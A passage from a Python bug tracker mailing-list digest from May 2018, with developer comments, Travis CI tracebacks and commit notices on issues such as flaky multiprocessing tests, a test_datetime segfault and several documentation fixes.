redirectin g them to the right place. Other ideas and feedback welcome. [1]: https://docs.python.org/fr/3.5/_static/version_switch.js ---------- assignee: mdk components: Documentation messages: 318210 nosy: mdk priority: low severity: normal stage: needs patch status: open title: [doc] Old version picker don't understand language tags in URL versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:45:56 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 30 May 2018 21:45:56 +0000 Subject: [issue33698] `._pth` does not allow to populate `sys.path` with empty entry In-Reply-To: <1527700361.05.0.682650639539.issue33698@psf.upfronthosting.co.za> Message-ID: <1527716756.06.0.682650639539.issue33698@psf.upfronthosting.co.za> Steve Dower added the comment: If your ._pth includes `import site`, then including a blank line in a `anything.pth` file should add the entry. Alternatively, if you can add "import sys; sys.path.insert(0, '')" to the start of your code that depends on it you should be fine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:48:52 2018 From: report at bugs.python.org (Julien Palard) Date: Wed, 30 May 2018 21:48:52 +0000 Subject: [issue33700] [doc] Old version picker don't understand language tags in URL In-Reply-To: <1527716663.86.0.682650639539.issue33700@psf.upfronthosting.co.za> Message-ID: <1527716932.17.0.682650639539.issue33700@psf.upfronthosting.co.za> Julien Palard added the comment: 3rd possibility, docsbuild-scripts could also apply a patch during the doc compilation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 17:54:49 2018 From: report at bugs.python.org (Matthew Fisher) Date: Wed, 30 May 2018 21:54:49 +0000 Subject: [issue33590] sched.enter priority has no impact on execution In-Reply-To: <1526881413.19.0.682650639539.issue33590@psf.upfronthosting.co.za> Message-ID: <1527717289.59.0.682650639539.issue33590@psf.upfronthosting.co.za> Matthew Fisher added the comment: > I did look at the code :-) I also looked at the code. I had to do so to understand why the example output was not "as expected." ;) > I don't agree about the example in the documentation, it is a clear > demonstration about how to use the API in general and AFAIK is not > intended to show how priorities work. Although I came to the same conclusion as you regarding both the fact and the reason the output was correct, I respectfully disagree that the example is clear. It is not. Yes, the example, as written, is intended to demonstrate the API -- which consists of several functionalities *including priority*. If this were not so, the example would not be passing different priority values with the same delay value. I suggest re-opening this issue as a documentation bug and modifying the example to use enterabs instead of enter. Respectfully, M Fisher ---------- nosy: +mfisher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 18:06:16 2018 From: report at bugs.python.org (Ned Deily) Date: Wed, 30 May 2018 22:06:16 +0000 Subject: [issue33700] [doc] Old version picker don't understand language tags in URL In-Reply-To: <1527716663.86.0.682650639539.issue33700@psf.upfronthosting.co.za> Message-ID: <1527717976.05.0.682650639539.issue33700@psf.upfronthosting.co.za> Ned Deily added the comment: > Fix in the 3.5 branch which is not allowed as the branch is in "security only" mode. I think you could appeal to the 3.5 Release Manager that this should go in. Since the 3.5 docs are only rebuilt manually these days (I think), in the worst case the current 3.5 on-line docs would not reflect the change until the next 3.5.x security release. ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 18:13:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 22:13:58 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527718438.32.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: > https://travis-ci.org/python/cpython/jobs/379560387 More info about this failure: == Linux-4.4.0-112-generic-x86_64-with-debian-jessie-sid little-endian == CPU count: 48 Run tests in parallel using 4 child processes (...) 0:07:06 load avg: 24.76 [356/416/3] test_multiprocessing_forkserver failed -- running: test_concurrent_futures (61 sec) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 18:32:54 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Wed, 30 May 2018 22:32:54 +0000 Subject: [issue26826] Expose new copy_file_range() syscall in os module. In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za> Message-ID: <1527719574.11.0.682650639539.issue26826@psf.upfronthosting.co.za> Change by Pablo Galindo Salgado : ---------- pull_requests: +6884 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 18:34:01 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 22:34:01 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI Message-ID: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> New submission from STINNER Victor : https://travis-ci.org/python/cpython/jobs/385458840 0:00:11 load avg: 22.29 [ 23/415/1] test_datetime crashed (Exit code -11) Fatal Python error: Segmentation fault Current thread 0x00002b52f7326400 (most recent call first): File "/home/travis/build/python/cpython/Lib/test/datetimetester.py", line 4630 in test_check_arg_types File "/home/travis/build/python/cpython/Lib/unittest/case.py", line 615 in run File "/home/travis/build/python/cpython/Lib/unittest/case.py", line 663 in __call__ File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__ File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 122 in run File "/home/travis/build/python/cpython/Lib/unittest/suite.py", line 84 in __call__ File "/home/travis/build/python/cpython/Lib/unittest/runner.py", line 176 in run (...) Lib/test/datetimetester.py:4630: def test_check_arg_types(self): class Number: def __init__(self, value): self.value = value def __int__(self): return self.value for xx in [decimal.Decimal(10), <~~~ HERE decimal.Decimal('10.9'), Number(10)]: self.assertEqual(datetime(10, 10, 10, 10, 10, 10, 10), datetime(xx, xx, xx, xx, xx, xx, xx)) Hum, this bug looks like bpo-33627. Is it a bug in the _decimal module? ---------- components: XML messages: 318216 nosy: facundobatista, mark.dickinson, rhettinger, skrah, vstinner priority: normal severity: normal status: open title: test_datetime crashed (SIGSEGV) on Travis CI versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 18:34:32 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 22:34:32 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527719672.22.0.682650639539.issue33627@psf.upfronthosting.co.za> STINNER Victor added the comment: See also bpo-33701. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:00:07 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:00:07 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527721207.95.0.682650639539.issue31368@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 02e2a085dc1740b1cbf4ba2ed77335c84ce8a367 by Victor Stinner (Pablo Galindo) in branch 'master': bpo-31368: Enhance os.preadv() documentation (GH-7254) https://github.com/python/cpython/commit/02e2a085dc1740b1cbf4ba2ed77335c84ce8a367 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:01:25 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 30 May 2018 23:01:25 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527721285.97.0.682650639539.issue31368@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6885 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:08:39 2018 From: report at bugs.python.org (Abhilash Raj) Date: Wed, 30 May 2018 23:08:39 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter In-Reply-To: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> Message-ID: <1527721719.52.0.682650639539.issue33690@psf.upfronthosting.co.za> Abhilash Raj added the comment: Would it then make sense to add a similar flag, keep_blank_values, in urlencode to achieve similar behavior as parse_qas? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:13:25 2018 From: report at bugs.python.org (R. David Murray) Date: Wed, 30 May 2018 23:13:25 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter In-Reply-To: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> Message-ID: <1527722005.06.0.682650639539.issue33690@psf.upfronthosting.co.za> R. David Murray added the comment: It would be odd to do that, since blank values are kept by default. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:22:15 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 30 May 2018 23:22:15 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527722535.57.0.682650639539.issue31368@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 0e823c6efa4729f3cd19f96af82c673b10cd3ee2 by Miss Islington (bot) in branch '3.7': bpo-31368: Enhance os.preadv() documentation (GH-7254) https://github.com/python/cpython/commit/0e823c6efa4729f3cd19f96af82c673b10cd3ee2 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:22:33 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:22:33 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527722553.86.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: Davin, Antoine: any idea on this bug? I ran the full test suite and test_multiprocessing_forkserver in parallel in a Trust VM, but I failed to reproduce the bug. I did a similar test in a Ubuntu Trusty docker container: again, I'm unable to reproduce the bug. An Ubuntu Trusty docker container is supposed to be as close as possible to Travis CI, except that my laptop doesn't have 48 CPUs. ---------- nosy: +davin, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:26:01 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:26:01 +0000 Subject: [issue31368] Add os.preadv() and os.pwritev() In-Reply-To: <1504727850.0.0.983406507924.issue31368@psf.upfronthosting.co.za> Message-ID: <1527722761.4.0.682650639539.issue31368@psf.upfronthosting.co.za> STINNER Victor added the comment: Thanks Pablo Galindo for the new better documentation! (And thanks myself since I wrote the original documentation PR ;-)) ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:26:30 2018 From: report at bugs.python.org (Abhilash Raj) Date: Wed, 30 May 2018 23:26:30 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter In-Reply-To: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> Message-ID: <1527722790.44.0.682650639539.issue33690@psf.upfronthosting.co.za> Abhilash Raj added the comment: Ah! But blank lists aren't. That makes sense! Thank you! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:26:43 2018 From: report at bugs.python.org (Abhilash Raj) Date: Wed, 30 May 2018 23:26:43 +0000 Subject: [issue33690] urlib.parse.urlencode with empty list and doseq=True drops the parameter In-Reply-To: <1527656245.94.0.682650639539.issue33690@psf.upfronthosting.co.za> Message-ID: <1527722803.91.0.682650639539.issue33690@psf.upfronthosting.co.za> Change by Abhilash Raj : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:37:14 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:37:14 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527723434.33.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: test_ignore() starts to fail more and more often on Travis CI for an unknown reason. https://travis-ci.org/python/cpython/jobs/385562187 == CPU count: 48 (...) Run tests in parallel using 4 child processes (...) 0:07:38 load avg: 128.04 [415/416/1] test_multiprocessing_forkserver failed -- running: test_concurrent_futures (378 sec) (...) ====================================================================== ERROR: test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/_test_multiprocessing.py", line 4359, in test_ignore os.kill(p.pid, signal.SIGUSR1) ProcessLookupError: [Errno 3] No such process ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:38:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:38:17 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527723497.21.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: https://travis-ci.org/python/cpython/jobs/379560387 Re-running test 'test_multiprocessing_forkserver' in verbose mode (...) ====================================================================== ERROR: test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/_test_multiprocessing.py", line 4359, in test_ignore os.kill(p.pid, signal.SIGUSR1) ProcessLookupError: [Errno 3] No such process ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:40:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:40:17 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527723617.96.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: Python 3.7: https://travis-ci.org/python/cpython/jobs/385474104 Re-running test 'test_multiprocessing_forkserver' in verbose mode ====================================================================== ERROR: test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/_test_multiprocessing.py", line 4324, in test_ignore os.kill(p.pid, signal.SIGUSR1) ProcessLookupError: [Errno 3] No such process ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:40:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 30 May 2018 23:40:54 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527723654.77.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: Python 3.7: https://travis-ci.org/python/cpython/jobs/385458840 Re-running test 'test_multiprocessing_forkserver' in verbose mode ====================================================================== ERROR: test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/_test_multiprocessing.py", line 4324, in test_ignore os.kill(p.pid, signal.SIGUSR1) ProcessLookupError: [Errno 3] No such process ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:44:49 2018 From: report at bugs.python.org (Michael Romero) Date: Wed, 30 May 2018 23:44:49 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows In-Reply-To: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> Message-ID: <1527723889.94.0.682650639539.issue33500@psf.upfronthosting.co.za> Michael Romero added the comment: I don't have a minimal failing example as is being requested. What I do have is the smallest version of the code published by Berkeley's AI course that I could find that allows easy demonstration of the issue. "python pacman.py" is enough to demonstrate the latency difference between the MacOS and Windows versions of Python. The specific calls causing the program to run slowly on MacOS I leave to this team to determine / resolve. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:50:11 2018 From: report at bugs.python.org (Michael Romero) Date: Wed, 30 May 2018 23:50:11 +0000 Subject: [issue33500] Python TKinter for Mac on latest 2.7.15 still extremely slow vs Windows In-Reply-To: <1526312324.63.0.682650639539.issue33500@psf.upfronthosting.co.za> Message-ID: <1527724211.16.0.682650639539.issue33500@psf.upfronthosting.co.za> Michael Romero added the comment: * What version of macOS are you using? "Is fully patched" the latest High Sierra? - I've tried the version bundled with MacOS fully patched high sierra, as well as versions downloaded from python.org, Intel, and ActiveState. They all demonstrate the slowness. * Which variant of the Python 2.7.15 installer did you use? - I used the 64-bit only installer from python.org during one test. However, all versions I've tried on MacOS seem to demonstrate the issue. * Did you install ActiveState Tcl/Tk (check if there is a Tk.framework in /Library/Frameworks)? If so, which version? - I used the bundled version of ActiveState Tcl/Tk that came with the 64-bit only installer. I have also experimented with alternate versions of python that use a Tcl/Tk externally. "8.5" is the version I see on my system now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:51:42 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 30 May 2018 23:51:42 +0000 Subject: [issue33702] Add some missings links in production lists and a little polish Message-ID: <1527724302.5.0.682650639539.issue33702@psf.upfronthosting.co.za> New submission from Andr?s Delfino : There are some missing links in production lists (try, with, from __future__ import), and function and coroutines definitions production lists have too long lines. PR fixes this and does some polish on whitespace. ---------- assignee: docs at python components: Documentation messages: 318231 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Add some missings links in production lists and a little polish type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 19:52:49 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Wed, 30 May 2018 23:52:49 +0000 Subject: [issue33702] Add some missings links in production lists and a little polish In-Reply-To: <1527724302.5.0.682650639539.issue33702@psf.upfronthosting.co.za> Message-ID: <1527724369.03.0.682650639539.issue33702@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6886 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 20:17:22 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 00:17:22 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527725842.38.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6887 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 20:44:32 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 00:44:32 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527727472.05.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: I added debug traces in PR 7260. test_ignore() failed, but it may be related to my debug traces, since the failure is different. test_multiprocessing_fork.test_ignore() failure: test_ignore (test.test_multiprocessing_fork.TestIgnoreEINTR) ... parent: pid=20159 parent: start child parent: p= parent: p.ident=20176 ERROR ====================================================================== ERROR: test_ignore (test.test_multiprocessing_fork.TestIgnoreEINTR) ---------------------------------------------------------------------- Traceback (most recent call last): File "/home/travis/build/python/cpython/Lib/test/_test_multiprocessing.py", line 4389, in test_ignore self.assertEqual(conn.recv(), 'ready') File "/home/travis/build/python/cpython/Lib/multiprocessing/connection.py", line 250, in recv buf = self._recv_bytes() File "/home/travis/build/python/cpython/Lib/multiprocessing/connection.py", line 407, in _recv_bytes buf = self._recv(4) File "/home/travis/build/python/cpython/Lib/multiprocessing/connection.py", line 383, in _recv raise EOFError EOFError test_multiprocessing_fork.test_ignore() success: test_ignore (test.test_multiprocessing_fork.TestIgnoreEINTR) ... parent: pid=11713 parent: start child parent: p= parent: p.ident=28998 [INFO/Process-3] child process calling self.run() child: pid=28998 child: register SIGUSR1 handler, send ready child: wait 1234 parent: ready received parent: first SIGUSR1 child: got SIGUSR1 parent: send 1234 parent: wait 1234 child: send back 1234 child: big blocking send parent: second SIGUSR1 parent: wait bytes child: got SIGUSR1 child: done [INFO/Process-3] process shutting down [INFO/Process-3] process shutting down [INFO/Process-3] process exiting with exitcode 0 [INFO/Process-3] process exiting with exitcode 0 parent: join child parent: done ok ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 20:45:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 00:45:43 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527727543.22.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: > I added debug traces in PR 7260. test_ignore() failed, but it may be related to my debug traces, since the failure is different. https://travis-ci.org/python/cpython/jobs/385958924 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 20:57:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 00:57:27 +0000 Subject: [issue33701] test_datetime crashed (SIGSEGV) on Travis CI In-Reply-To: <1527719641.19.0.682650639539.issue33701@psf.upfronthosting.co.za> Message-ID: <1527728247.35.0.682650639539.issue33701@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- versions: +Python 3.7 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:04:03 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 02:04:03 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527732243.58.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: Notes: * test_ignore() creates a daemonic process (it cannot spawn new processes) * the fork server process is shared between test methods of test_forkserver * multiprocessing.util._exit_function() terminates all daemon processes ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:06:19 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 02:06:19 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527732379.52.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6888 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:07:07 2018 From: report at bugs.python.org (Valentin Zhao) Date: Thu, 31 May 2018 02:07:07 +0000 Subject: [issue33692] Chinese characters issue with input() function In-Reply-To: <1527673001.64.0.682650639539.issue33692@psf.upfronthosting.co.za> Message-ID: <1527732427.08.0.682650639539.issue33692@psf.upfronthosting.co.za> Valentin Zhao added the comment: Hello everyone, do we have a walkaround for this issue now? I barely read your discussion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:36:03 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 02:36:03 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527734163.31.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: test_multiprocessing_forkserver.test_ignore() failed on Travis CI using PR 7261: --randseed=7474929. The method failed once when run in parallel, and then failed again when re-reun in verbose mode. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:40:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 02:40:59 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527734459.91.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: > test_multiprocessing_forkserver.test_ignore() failed on Travis CI using PR 7261: --randseed=7474929. The method failed once when run in parallel, and then failed again when re-reun in verbose mode. https://travis-ci.org/python/cpython/jobs/385986803 0:04:57 load avg: 25.81 [342/415/1] test_multiprocessing_forkserver failed -- running: test_concurrent_futures (72 sec) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:48:30 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 02:48:30 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527734910.6.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: I added more traces to PR 7261 and the bug still occurred on Travis CI. https://travis-ci.org/python/cpython/jobs/385990848 0:05:04 load avg: 42.62 [342/415/1] test_multiprocessing_forkserver failed -- running: test_concurrent_futures (69 sec) child: pid=19401 ppid=19348 child: send BIG child: done test_answer_challenge_auth_failure (test.test_multiprocessing_forkserver.OtherTest) ... ok test_deliver_challenge_auth_failure (test.test_multiprocessing_forkserver.OtherTest) ... ok test_closefd (test.test_multiprocessing_forkserver.TestCloseFds) ... ok test_flags (test.test_multiprocessing_forkserver.TestFlags) ... ok test_lock (test.test_multiprocessing_forkserver.TestForkAwareThreadLock) ... ok test_ignore (test.test_multiprocessing_forkserver.TestIgnoreEINTR) ... parent: pid=19342 parent: second SIGUSR1 ERROR Hum... maybe the child exited, before the parent sent SIGUSR1: the child didn't block on sending 1 MB? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 22:53:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 02:53:38 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527735218.66.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6889 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 23:03:20 2018 From: report at bugs.python.org (Farhaan Bukhsh) Date: Thu, 31 May 2018 03:03:20 +0000 Subject: [issue33640] [EASY DOC] uuid: endian of the bytes argument is not documented In-Reply-To: <1527196125.95.0.682650639539.issue33640@psf.upfronthosting.co.za> Message-ID: <1527735800.53.0.682650639539.issue33640@psf.upfronthosting.co.za> Change by Farhaan Bukhsh : ---------- keywords: +patch pull_requests: +6890 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 23:08:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 03:08:45 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527736125.4.0.682650639539.issue33532@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 5d6c7ed5e340b2311a15f34e968d4bef09c71922 by Victor Stinner in branch 'master': bpo-33532: Fix multiprocessing test_ignore() (#7262) https://github.com/python/cpython/commit/5d6c7ed5e340b2311a15f34e968d4bef09c71922 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 23:09:59 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 03:09:59 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527736199.84.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6892 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 23:15:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 03:15:43 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527736543.52.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6893 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 23:19:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 31 May 2018 03:19:00 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527736740.58.0.682650639539.issue33532@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6894 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 30 23:28:08 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 31 May 2018 03:28:08 +0000 Subject: [issue33532] test_multiprocessing_forkserver: TestIgnoreEINTR.test_ignore() fails on Travis CI In-Reply-To: <1526452224.65.0.682650639539.issue33532@psf.upfronthosting.co.za> Message-ID: <1527737288.97.0.682650639539.issue33532@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 9d273344238330d634acb4a7d427a8fb732ae62e by Miss Islington (bot) in branch '3.7': bpo-33532: 